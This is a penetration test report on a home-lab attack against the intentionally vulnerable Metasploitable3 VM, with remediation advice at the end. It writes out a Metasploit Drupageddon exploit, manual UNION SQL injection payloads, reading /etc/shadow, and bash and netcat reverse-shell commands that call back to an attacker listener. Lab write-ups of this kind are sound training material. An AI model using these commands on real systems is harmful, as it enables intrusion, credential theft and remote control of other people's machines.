## https://sploitus.com/exploit?id=AD4457C9-F24C-5AC0-9548-721DEFF4A69B
# Metasploitable3 — Penetration Test Report
**Author:** Arlen Fortunato
**Date:** September 2026
**Environment:** Parrot OS (attacker) → Metasploitable3 Ubuntu 14.04 (target)
**Scope:** Full network penetration test — enumeration, exploitation, privesc, post-exploitation
**Type:** Home Lab / Capture The Flag Practice
> ⚠️ All credentials below are **redacted**. This was a legal, isolated home-lab exercise.
---
## Tools Used
| Tool | Role |
|---|---|
| Nmap | Port scan, service/version detection, OS fingerprint |
| Metasploit (msfconsole) | Exploitation (CVE-2014-3704), session management |
| msfvenom | Payload generation (bash/netcat reverse shells) |
| nc (netcat) | Reverse shell listener |
| curl / sed | Manual SQLi crafting + HTML output formatting |
| ssh / scp | Remote access, credential validation |
| openssl s_client | TLS/SSL service verification |
| gobuster | Directory brute-forcing (web enumeration) |
---
## Reconnaissance — Nmap Full Port Scan
```
nmap -O -sV -p- -oA metasploitable3
```
| Port | State | Service | Version |
|---|---|---|---|
| 21/tcp | open | FTP | ProFTPD 1.3.5 |
| 22/tcp | open | SSH | OpenSSH 6.6.1p1 |
| 80/tcp | open | HTTP | Apache httpd 2.4.7 (Ubuntu) |
| 445/tcp | open | SMB | Samba smbd 3.X–4.X |
| 631/tcp | open | IPP | CUPS 1.7 |
| 3306/tcp | open | MySQL | MySQL (unauthorized) |
| 3500/tcp | open | HTTP | WEBrick httpd 1.3.1 (Ruby 2.3.8) |
| 6697/tcp | open | IRC | UnrealIRCd |
| 8080/tcp | open | HTTP | Jetty 8.1.7.v20120910 |
**OS:** Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64
---
## Findings Summary
| # | Vulnerability | CVE / Type | Port | Severity | Result |
|---|---|---|---|---|---|
| 1 | UnrealIRCd version fingerprint — backdoor probe | CVE-2010-2075 | 6697 | ⚠️ False positive | Module auto-check passed, manual probe failed — backdoor absent in build |
| 2 | Drupal 7.5 — Drupageddon RCE | CVE-2014-3704 | 80 | 🔴 Critical | Meterpreter shell as `www-data` |
| 3 | Payroll app — UNION SQLi (manual) | Manual injection | 80 | 🔴 Critical | Full DB dump (15 users, plaintext passwords — redacted) |
| 4 | SSH — default + reused credentials | Default / credential reuse | 22 | 🔴 Critical | `vagrant` (NOPASSWD sudo), `luke_skywalker` (sudo ALL) |
| 5 | Privilege escalation (two paths) | Misconfigured sudo | N/A | 🔴 Critical | root via both accounts |
| 6 | Shadow dump | Post-exploitation | N/A | 🔴 Critical | 16 md5crypt hashes extracted |
| 7 | Reverse shells (bash + netcat) | msfvenom / manual crafting | 4444/4445 | 🟠 High | Interactive shells caught on attacker listener |
---
## Finding Details
### 1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — False Positive
**Vulnerability:** UnrealIRCd 3.2.8.1 was historically distributed with a trojaned binary that executes arbitrary commands when an unauthenticated client sends a trigger string before registration — RCE as the IRC daemon user.
**Exploitation attempt:** Metasploit module `exploit/unix/irc/unreal_ircd_3281_backdoor` with payloads `cmd/unix/reverse_perl`, `cmd/unix/reverse_netcat`, `cmd/unix/reverse_bash`. Module auto-check reported the service as vulnerable; **no session returned** on any payload.
**Troubleshooting performed:**
- Port reachable (`nc -vz`)
- Port confirmed plaintext IRC, not TLS (`openssl s_client`)
- Manual reverse connect-back from target confirmed outbound networking works
- Manual backdoor trigger over `nc` returned IRC protocol error `451` — command parsed as IRC command, never executed
**Conclusion:** Version banner indicates the vulnerable build, but the backdoor is absent in this instance (clean/recompiled binary). Classified **non-exploitable — false positive**, with evidence.
---
### 2. Drupal 7.5 — Drupageddon (CVE-2014-3704)
**Vulnerability:** Drupal 7.x before 7.32 contains a critical SQL injection in the database abstraction layer enabling unauthenticated remote code execution.
**Version confirmation:** `CHANGELOG.txt` → "Drupal 7.5, 2011-07-27"
**Exploitation:**
```
msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS
set TARGETURI /drupal/
set LHOST
set payload php/meterpreter_reverse_tcp
run
```
**Result:**
```
getuid → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd → /var/www/html/drupal
```
**Post-exploitation enumeration:**
- `/var/www/html`: `chat/`, `drupal/`, `payroll_app.php`, `phpmyadmin/`
- `/home`: 16 user accounts
---
### 3. Payroll App — UNION-Based SQL Injection (Manual)
**Vulnerability:** `payroll_app.php` login form, SQL injection in password field. **No automation used** — crafted via `curl`.
**Step 1 — Authentication bypass:**
```sql
' or 1=1#
```
`'` closes the SQL string, `or 1=1` forces true, `#` comments out the trailing quote.
**Step 2 — Column count + display mapping:**
```sql
' UNION SELECT null, null, null, null# -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4# -- markers: 1=Username, 2=First, 3=Last, 4=Salary
```
**Step 3 — information_schema enumeration:**
| Question | Answer |
|---|---|
| DB version / user | MySQL 5.5.62, `root@localhost` |
| Databases | information_schema, drupal, mysql, payroll, performance_schema |
| Tables in `payroll` | users |
| Columns in `users` | username, first_name, last_name, password, salary |
**Step 4 — Dump (passwords redacted):**
```sql
' UNION SELECT username, password, salary, null FROM users#
```
| Username | Password | Salary |
|---|---|---|
| leia_organa | [REDACTED] | 9560 |
| luke_skywalker | [REDACTED] | 1080 |
| han_solo | [REDACTED] | 1200 |
| artoo_detoo | [REDACTED] | 22222 |
| boba_fett | [REDACTED] | 20000 |
| greedo | [REDACTED] | 50000 |
| (+ 9 more accounts) | [REDACTED] | — |
---
### 4. SSH — Default Credentials & Credential Reuse
**Path 1 — Default account:** default `vagrant` credential pair authenticated over SSH → user in `sudo` group with `(ALL : ALL) NOPASSWD: ALL`.
**Path 2 — Credential reuse:** credentials harvested from the SQLi dump authenticated directly over SSH as another lab user (`luke_skywalker`, `sudo` group, `(ALL : ALL) ALL`).
**Significance:** demonstrates cross-service credential reuse — application credentials mapped to a system account.
---
### 5. Privilege Escalation (Two Paths)
- **Path A:** `vagrant` → `sudo -l` shows `NOPASSWD: ALL` → `sudo su -` → `uid=0(root)`.
- **Path B:** `luke_skywalker` → sudo `(ALL : ALL) ALL` → `sudo su -` → `uid=0(root)`.
No local exploit required — both accounts hold overly permissive sudo grants.
---
### 6. Shadow Dump
```
sudo cat /etc/shadow
```
Extracted 16 `md5crypt ($1$)` hashes — full credential harvesting post-privesc.
---
### 7. Post-Exploitation — Reverse Shells
**Payload 1 — bash:**
```
bash -i >& /dev/tcp//4444 0>&1
```
Caught on `nc -lnvp 4444` → interactive shell.
**Payload 2 — netcat (named-pipe):**
```
mkfifo /tmp/fifo; nc 4445 0/tmp/fifo 2>&1; rm /tmp/fifo
```
Caught on `nc -lnvp 4445` → interactive shell.
**Mechanism:** named pipe (FIFO) bridges netcat stdin/stdout to `/bin/sh`, forming a single-socket bidirectional tunnel; FIFO cleaned up afterward.
---
## Remediation Recommendations
| Finding | Recommendation |
|---|---|
| UnrealIRCd version fingerprint | Verify binary source integrity (checksums); upgrade or remove |
| Drupal 7.5 | Upgrade to latest stable; apply SA-CORE-2014-005 |
| Payroll SQLi | Parameterized queries / prepared statements; validate input |
| Default SSH credentials | Rotate/remove default accounts; enforce key-based auth |
| Sudo over-privilege | Apply least privilege; remove NOPASSWD blanket grants |
| Credential reuse | Enforce unique passwords per service; password policy |
| Weak password hashing | Migrate md5crypt → bcrypt / Argon2id |
---
## Disclaimer
All testing was performed exclusively in an isolated home lab using intentionally vulnerable software (Rapid7 Metasploitable3). No production systems or unauthorized targets were engaged. This report is for educational purposes and personal skill development only.